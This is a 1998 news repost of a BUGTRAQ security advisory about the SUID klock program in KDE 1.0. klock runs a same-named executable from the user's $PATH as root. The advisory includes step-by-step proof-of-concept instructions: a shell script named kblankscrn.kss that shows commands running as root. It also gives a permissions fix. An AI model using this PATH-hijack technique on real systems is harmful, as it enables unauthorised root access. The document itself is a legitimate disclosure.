SHARE
Facebook X Pinterest WhatsApp

Possible security hole with klock (ships with KDE 1.0)

Written By
thumbnail
Web Webster
Web Webster
Nov 17, 1998

On the BUGTRAQ mailing list, HD
Moore
writes:

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- --( the problem )--

The SUID program klock shipped with KDE 1.0 attempts to execute
kblankscrn.kss in the same directory as it.  If kblankscrn.kss cannot
be executed (missing or mode -x) then klock will search the current
user's $PATH for any executable with the same name and execute it as
ROOT.  If no executable is found in the current path it gives this
message:

    >Could not invoke kblankscrn.kss in $PATH or /opt/kde/bin

Default modes for klock and kblankscrn.kss are:

- -rwsr-xr-x   1 root     root         8760 Mar 12  1998 /opt/kde/bin/klock
- -rwsr-xr-x   1 root     root        43600 Mar 12  1998
/opt/kde/bin/kblankscrn.kss

Systems Affected:   any system that runs KDE 1.0
____________________________________________________


( the exploit )

This is only exploitable if any of the following occurs:

    1) klock is moved to another directory
    2) kblankscrn.kss is moved to another directory
    3) kblankscrn.kss is not executable

To see if you are vulnerable...

1) as root, chmod 600 /opt/kde/bin/kblankscrn.kss
2) login as a normal user
3) create a shell script thats looks like:

        #!/bin/sh
        echo Running script as `whoami`!
        exit

4) name this script to kblankscrn.kss and mv to your home directory.
5) execute /opt/kde/bin/klock, you should see:

    user@hostname:/home/user> /opt/kde/bin/klock
    user@hostname:/home/user> Running script as root!

6) as root, chmod 755 /opt/kde/bin/kblankscrn.kss
____________________________________________________


- --( the fix )--

chmod 700 /opt/kde/bin/klock or wait until KDE is updated.
the KDE buglist has been notified




-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNlDXoa51X44hunVSEQJl2wCgzFbX8KdOfCfOMZGREF5e9H2BGA8An3Qw
UmLBRO0nACQcXreodKkWFrpm
=rKnX
-----END PGP SIGNATURE-----

thumbnail
Web Webster

Web Webster

Web Webster has more than 20 years of writing and editorial experience in the tech sector. He’s written and edited news, demand generation, user-focused, and thought leadership content for business software solutions, consumer tech, and Linux Today, he edits and writes for a portfolio of tech industry news and analysis websites including webopedia.com, and DatabaseJournal.com.

Recommended for you...

A Thorough Approach to Improve the Privacy and Security of Your Linux PC
Damien
Oct 24, 2024
Several Russian Maintainers Removed From Linux Kernel Due To Compliance Concerns
Senthil Kumar
Oct 23, 2024
OpenSSH Splits Again: New Authentication Binary Unveiled
Bobby Borisov
Oct 16, 2024
13 Best Free and Open Source Anti-Malware Tools
webmaster
Oct 14, 2024
Linux Today Logo

LinuxToday is a trusted, contributor-driven news resource supporting all types of Linux users. Our thriving international community engages with us through social media and frequent content contributions aimed at solving problems ranging from personal computing to enterprise-level IT operations. LinuxToday serves as a home for a community that struggles to find comparable information elsewhere on the web.

Property of TechnologyAdvice. © 2025 TechnologyAdvice. All Rights Reserved

Advertiser Disclosure: Some of the products that appear on this site are from companies from which TechnologyAdvice receives compensation. This compensation may impact how and where products appear on this site including, for example, the order in which they appear. TechnologyAdvice does not include all companies or all types of products available in the marketplace.